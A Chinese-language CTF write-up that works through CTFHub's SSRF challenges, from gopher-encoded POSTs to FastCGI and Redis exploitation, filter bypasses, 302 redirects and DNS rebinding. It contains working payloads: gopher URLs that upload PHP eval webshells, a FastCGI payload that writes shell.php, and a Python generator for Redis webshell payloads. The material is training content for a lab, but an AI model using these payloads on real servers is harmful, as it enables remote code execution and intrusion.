Web安全基础 - SSRF CTFHub
Web安全基础 - SSRF CTFHub
题目来源:https://www.ctfhub.com/#/skilltree Web技能树,SSRF部分
基础知识
SSRF全称:Server-Side Request Forgery,服务器端请求伪造。可以理解为以服务器的身份执行构造好的攻击请求来获取内网资源或绕过waf。
网站一般都会提供从其他的服务器上获取数据的功能(获取图片、下载文件、读取文件内容、转发收藏、邮件、翻译等),这时候如果没有对目标地址做完善的过滤与限制。攻击者就可以利用SSRF泄露内部信息,DOS攻击,或者再次利用其他漏洞攻击。
SSRF的实质就是利用过滤不全的Web站点作为代理攻击远程和本地的服务器。
SSRF漏洞是伪造服务器发送请求的漏洞,可以通过分析发送的请求是否是由服务器端发送的(验证资源来源)来判断是否存在SSRF漏洞。
对于PHP来说file_get_contents(),fsockopen(),curl_exec()
等函数可能产生SSRF
内网访问
直接构造请求访问即可。
Payload:
http://challenge-297b1abbef859a9a.sandbox.ctfhub.com:10800/?url=127.0.0.1/flag.php
伪协议
因为只学过PHP的伪协议,就莽上去了,寄掉辣。
http://challenge-af36601345fec220.sandbox.ctfhub.com:10800/?url=php://filter/read=convert.base64-encode/resource=flag.php
学习URL伪协议
URL伪协议有如下这些:
file:// 从文件系统中获取文件
dict:// 引用允许通过DICT协议使用的定义或单词列表
sftp:// Sftp代表SSH文件传输协议
ldap:// 轻量级目录访问协议 管理和访问分布式目录信息服务
tftp:// 简单文件传输协议 允许客户端从远程主机获取文件或将文件上传
gopher:// 一种分布式文档传递服务 用户可以无缝地浏览、搜索和检索驻留在不同位置的信息
file伪协议可以读取系统内的文件,使用dict伪协议可以查看内网存活主机和端口探测,使用gopher伪协议反弹shell,配合redis写shell操作。
dict的使用curl -v ‘http://a.com/ssrf.php?url=dict://172.0.0.1:22/info'
确实读到东西了,看看BurpSuite里面能不能看到信息
端口扫描
用Bs来端口扫描,选择payloads类型为Numbers
设置范围
筛选有不同长度的响应
POST 请求
302跳转又称暂时性转移,当网页临时移到新的位置,而浏览器的缓存没有更新时,就出现了302跳转。不过这里可以忽略。
post请求,但是要127.0.0.1,本题我们使用gopher协议来做,gopher可以理解为古早版本的http请求,格式如下
gopher://<host>:<port>/<gopher-path>_<TCP数据流>
<port>默认为70
发起多条请求每条要用回车换行去隔开使用%0d%0a隔开,如果多个参数,参数之间的&也需要进行URL编码
ssrf是用php的curl实现的,gopher协议的支持如下。
语言 | 支持情况 |
---|---|
PHP | --wite-curlwrappers且php版本至少为5.3 |
Java | 小于JDK1.7 |
Curl | 低版本不支持 |
Perl | 支持 |
ASP.NET | 小于版本3 |
我们需要从本地访问
gopher协议传递HTTP的GET请求需要包含下列信息
gopher协议传递HTTP的POST请求需要包含下列信息和POST信息
首先查看页面源码发现key,思路应该是带着key进行本地访问
开始构造gopher协议
注意Content-Length如果存在并且有效地话,则必须和消息内容的传输长度完全一致。
另外一点:因为我们这里是利用index.php的SSRF,首先通过curl利用gopher协议,其次gopher进行POST请求,这里需要两次URL编码
构造第一次请求,整理POST请求为以下格式
POST /flag.php HTTP/1.0
Host: challenge-8a584cb532fad88e.sandbox.ctfhub.com:10800
Content-Length: 36
Content-Type: application/x-www-form-urlencoded
key=55dfa41ce7aabc43aa3d02bf01aeaf80
进行URL编码
注意这里的细节,Cyber将换行编码为%0A,这是在Linux环境下的换行,Windows下应该为%0D%0A,需要手动修改一下。
进行二次编码
最终payload:
http://challenge-8a584cb532fad88e.sandbox.ctfhub.com:10800/?url=gopher://127.0.0.1:80/_POST%2520/flag.php%2520HTTP/1.0%250D%250AHost:%2520challenge-8a584cb532fad88e.sandbox.ctfhub.com:10800%250D%250AContent-Length:%252036%250D%250AContent-Type:%2520application/x-www-form-urlencoded%250D%250A%250D%250Akey=55dfa41ce7aabc43aa3d02bf01aeaf80
文件上传
一开始是挺懵的,文件选好了咋上传啊,后来看其他人的wp发现可以手动添加提交框。
<form action="/flag.php" method="post" enctype="multipart/form-data">
<input type="file" name="file"><input type="submit" name="submit">
</form>
抓包调整格式如下:
POST /flag.php HTTP/1.0
Host: 127.0.0.1:80 //这里记得调整为本地访问
Content-Length: 324
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryQOpqM1bRzTlR9VD4
------WebKitFormBoundaryQOpqM1bRzTlR9VD4
Content-Disposition: form-data; name="file"; filename="eval.php"
Content-Type: application/octet-stream
<?php @eval($_POST["cmd"]);?>
------WebKitFormBoundaryQOpqM1bRzTlR9VD4
Content-Disposition: form-data; name="submit"
鎻愪氦 //不知为何是乱码,能用
------WebKitFormBoundaryQOpqM1bRzTlR9VD4--
构造gopher协议,流程同上,记得修改%0A为%0D%0A
gopher://127.0.0.1:80/_POST%2520/flag.php%2520HTTP/1.0%250D%250AHost:%2520127.0.0.1:80%250D%250AContent-Length:%2520324%250D%250AContent-Type:%2520multipart/form-data;%2520boundary=----WebKitFormBoundaryQOpqM1bRzTlR9VD4%250D%250A%250D%250A------WebKitFormBoundaryQOpqM1bRzTlR9VD4%250D%250AContent-Disposition:%2520form-data;%2520name=%2522file%2522;%2520filename=%2522eval.php%2522%250D%250AContent-Type:%2520application/octet-stream%250D%250A%250D%250A%253C?php%2520@eval($_POST%255B%2522cmd%2522%255D);?%253E%250D%250A------WebKitFormBoundaryQOpqM1bRzTlR9VD4%250D%250AContent-Disposition:%2520form-data;%2520name=%2522submit%2522%250D%250A%250D%250A%25E9%258E%25BB%25E6%2584%25AA%25E6%25B0%25A6%250D%250A------WebKitFormBoundaryQOpqM1bRzTlR9VD4--
Fastcgi协议
HTTP协议是浏览器和服务器中间件进行数据交换的协议,而Fastcgi协议是服务器中间件和某个语言后端进行数据交换的协议。Fastcgi协议由多个record组成,record区分header和body,服务器中间件将这二者按照fastcgi的规则封装好发送给语言后端,语言后端解码以后拿到具体数据,进行指定操作,并将结果再按照该协议封装好后返回给服务器中间件。
比如:浏览器并不能解析动态的php文件,如果http请求的请求文件为.php文件,这时候就需要php-fpm把其解释(翻译)成html格式的文件,而服务器中间件和php-fpm之间的通信协议就是Fastcgi。
Header结构
typedef struct
{
unsigned char version; //版本
unsigned char type; //操作类型
unsigned char requestIdB1; //请求id
unsigned char requestIdB0;
unsigned char contentLengthB1; //内容长度
unsigned char contentLengthB0;
unsigned char paddingLength; //填充字节的长度
unsigned char reserved; //保留字节
}FCGI_Header;
其第二个字段是类型,下表列举一些常用Type值
type值 | 具体含义 |
---|---|
1 | 请求开始的第一个消息 |
2 | 异常断开与php-fpm的交互 |
3 | 表明交互的正常结束 |
4 | 向php-fpm传递环境参数,以表明消息中包含的数据为某个name-value对 |
5 | web服务器将从浏览器接收到的POST请求数据(表单提交等)以消息的形式发给php-fpm |
6 | php-fpm正常响应 |
7 | php-fpm错误响应 |
服务器中间件和后端语言通信,第一个数据包就是type为1的record,后续互相交流,发送type为4、5、6、7的record,结束时发送type为2、3的record。
漏洞的具体利用主要是靠type4设置环境参数,一次具体的利用看这里
对这道题进行gopherus一把梭
从这篇学的方法。配置gopherus,注意需要Python2环境。
使用方法如下,第一行输入要求是一个已存在的php页面,具体原因可以查询FPM的security.limit_extensions配置项。
对生成gopher再次编码,给curl使用
gopher://127.0.0.1:9000/_%2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2501%2505%2505%2500%250F%2510SERVER_SOFTWAREgo%2520/%2520fcgiclient%2520%250B%2509REMOTE_ADDR127.0.0.1%250F%2508SERVER_PROTOCOLHTTP/1.1%250E%2503CONTENT_LENGTH133%250E%2504REQUEST_METHODPOST%2509KPHP_VALUEallow_url_include%2520%253D%2520On%250Adisable_functions%2520%253D%2520%250Aauto_prepend_file%2520%253D%2520php%253A//input%250F%2517SCRIPT_FILENAME/var/www/html/index.php%250D%2501DOCUMENT_ROOT/%2500%2500%2500%2500%2500%2501%2504%2500%2501%2500%2500%2500%2500%2501%2505%2500%2501%2500%2585%2504%2500%253C%253Fphp%2520system%2528%2527echo%2520PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg%253D%253D%2520%257Cbase64%2520-d%2520%253E/var/www/html/shell.php%2527%2529%253Bdie%2528%2527-----Made-by-SpyD3r-----%250A%2527%2529%253B%253F%253E%2500%2500%2500%2500
会在/var/www/html位置生成shell.php,doughnuts连接
connect http://challenge-8f2d72a02851e8b3.sandbox.ctfhub.com:10800/shell.php POST cmd
放一个gist,想更深入原理的可以看下源码
Redis协议
Redis服务器与客户端通过RESP(REdis Serialization Protocol)协议通信。
RESP实际上是一个支持(简单字符串,错误,整数,批量字符串(Bulk Strings)和数组)的序列化协议。
RESP在Redis中用作请求 - 响应协议的方式如下:
客户端将命令作为Bulk Strings的RESP数组发送到Redis服务器。
服务器根据命令实现回复一种RESP类型。
利用条件:能未授权或者能通过弱口令认证访问到Redis服务器
redis常见的SSRF攻击方式大概有这几种:
- 绝对路径写webshell
- 写ssh公钥
- 写contrab计划任务反弹shell
- 主从复制
具体攻击方式可以参考这里
本题的攻击思路就是构造Redis命令,然后转为RESP协议再构造gopher伪协议写webshell
flushall
set 1 '<?php eval($_GET["feng"]);?>'
config set dir /var/www/html
config set dbfilename shell.php
save
利用脚本转换成RESP协议格式
import urllib.request
port="6379"
shell="\n\n<?php eval($_GET[\"cmd\"]);?>\n\n"
filename="shell.php"
path="/var/www/html"
cmd=["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
def payload_generate(ip,passwd):
protocol="gopher://"
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
return payload
def redis_format(arr):
CRLF="\r\n" # In Windows
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd
if __name__=="__main__":
ip = input("Input Attacked IP:\t")
passwd = input("Input Attacked PASSWD (if exist):\t")
if not passwd:
passwd = ""
payload = payload_generate(ip,passwd)
for x in cmd:
payload += urllib.request.quote(redis_format(x))
print (urllib.request.quote(payload)) # 这里已经进行二次编码了
脚本已经进行了二次编码,直接拿去跑就行
最终payload
gopher%3A//127.0.0.1%3A6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252431%250D%250A%250A%250A%253C%253Fphp%2520eval%2528%2524_GET%255B%2522cmd%2522%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A/var/www/html%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A
Gopherus同样可以使用,记得替换%0A和二次编码:
URL ByPass
根据parse_url和curl对于host解析不同进行@绕过
一些常见的绕过方式:
- 绕过限制为某种域名:
利用@,网站限制只能访问http://www.xxx.com
类型的域名。在对@解析域名中,不同的处理函数存在处理差异,例如:http://www.aaa.com@www.bbb.com@www.ccc.com
在PHP的parse_url中会识别 www.ccc.com,而libcurl则识别为 www.bbb.com- 绕过限制请求IP不为内网地址:
1. 采用短网址绕过
2.利用特殊域名,xip.io可以指向任意域名(原理是DNS解析),即 127.0.0.1.xip.io,可以解析为127.0.0.1
3. 采用进制转换,127.0.0.1 八进制:0177.0.0.1
;十六进制:0x7f.0.0.1
;十进制:2130706433
4. 添加端口号,http://127.0.0.1:8080
5. 利用句号,127。0。0。1
会解析为 127.0.0.1
6. 采用302跳转
7. Enclosed alphanumerics绕过
8. 利用http://xip.io和xip.name绕过- 限制请求只为http协议:
1. 采用302跳转
2. 采用短地址
数字绕过
知识点如上
302跳转
利用file伪协议查看页面源代码
,,感觉能拿上次的payload来
逆天
学习下用302跳转怎么绕过,基本原理是设置302.php
#302.php
<?php
header("Location:http://127.0.0.1/flag.php");
让服务器解析对302.php的访问请求,自己跳转过去,而不经过index.php
这里需要一台有公网ip的服务器
构建Payload
http://challenge-c16227ad0f31ed81.sandbox.ctfhub.com:10800/?url=http://xxx/upload/302.php
DNS重绑定
先补充理论知识
DNS解析
当各地的DNS(LDNS)服务器接受到解析请求时,就会向域名指定的授权DNS服务器发出解析请求从而获得解析记录;该解析记录会在DNS(LDNS)服务器中保存一段时间,这段时间内如果再接到这个域名的解析请求,DNS服务器将不再向授权DNS服务器发出请求,而是直接返回刚才获得的记录;
TTL
TTL(Time To Live)是DNS缓存的时间。它表示DNS记录在DNS服务器上缓存时间,数值越小,修改记录各地生效时间越快。
对于DNS重绑定来说,需要将TTL设置为很低的数值或者0才能实现。
SSRF 修复逻辑
取URL的Host
取Host的IP -> DNS解析
判断是否是内网IP,是内网IP直接return,不再往下执行
请求URL -> DNS解析(TTL为0)
如果有跳转,取出跳转URL,执行第1步
正常的业务逻辑里,当判断完成最后会去请求URL,实现业务逻辑。 -> DNS解析(TTL为0)
其中会发起DNS请求的步骤为,第2、4、6步,看来至少要请求3次。因为第6步至少会执行1次DNS请求。我们想要利用重绑定ByPass重点是绕过第3步.
首先,修复逻辑中第2步发起DNS请求,DNS服务器返回一个外网IP,通过验证,执行到第四步。
这时DNS重绑定到所需的内网IP
接着,修复逻辑中第4步会发起DNS请求,DNS服务器返回一个内网IP。此时,SSRF已经产生。
同源策略(SOP)
同源是指"协议+域名+端口"三者相同,即便两个不同的域名指向同一个 ip 地址,也非同源。将同源的协议域名端口视为一个域。
它是浏览器最核心也最基本的安全功能,现在所有支持JavaScript的浏览器都会使用这个策略。如果缺少了同源策略,浏览器很容易受到XSS、 CSFR等攻击。
同源策略的作用:
如果你和目标不在同一个域(非同源),那么
(1)Cookie、LocalStorage 和 IndexDB 无法读取
(2) DOM 无法获得
(3)AJAX 跨域返回的结果无法获得(JSONP,CORS等可以规避)
部分跨域不受同源策略限制
(1) 页面上的链接,比如 a 链接。
(2) 重定向。
(3) 表单提交。
(4) 跨域资源的引入(而非读取),比如:script, img, link, iframe。
DNS重绑定
通过DNS重绑定攻击可以绕过同源策略,攻击内网的其他设备。
首先确定,同源是指“协议+域名+端口”三者相同,而不是“协议+IP+端口”。
在网页浏览过程中,用户在地址栏中输入包含域名的网址。浏览器通过DNS服务器将域名解析为IP地址,然后向对应的IP地址请求资源,最后展现给用户。
而对于攻击者来说,他可以设置域名所对应的IP地址。当用户第一次访问,解析域名获取一个IP地址;然后,域名持有者修改对应的IP地址;用户再次请求该域名,就会获取一个新的IP地址。
事已至此,该做题了。
RBNDR是一个用于针对DNS重绑定漏洞测试的服务器。服务器通过随机选择主机名中指定的地址之一并将其作为答案返回,以非常低的TTL来响应查询。
我们这里可以设置一个为公网ip,一个为内网ip。假设目标对内网ip检测的话,如果第一次访问DNS绑定公网ip就会pass,TTL很小,考虑为不会查询存储,然后再次进行DNS解析这时绑定到内网ip就能进行DNS重绑定攻击。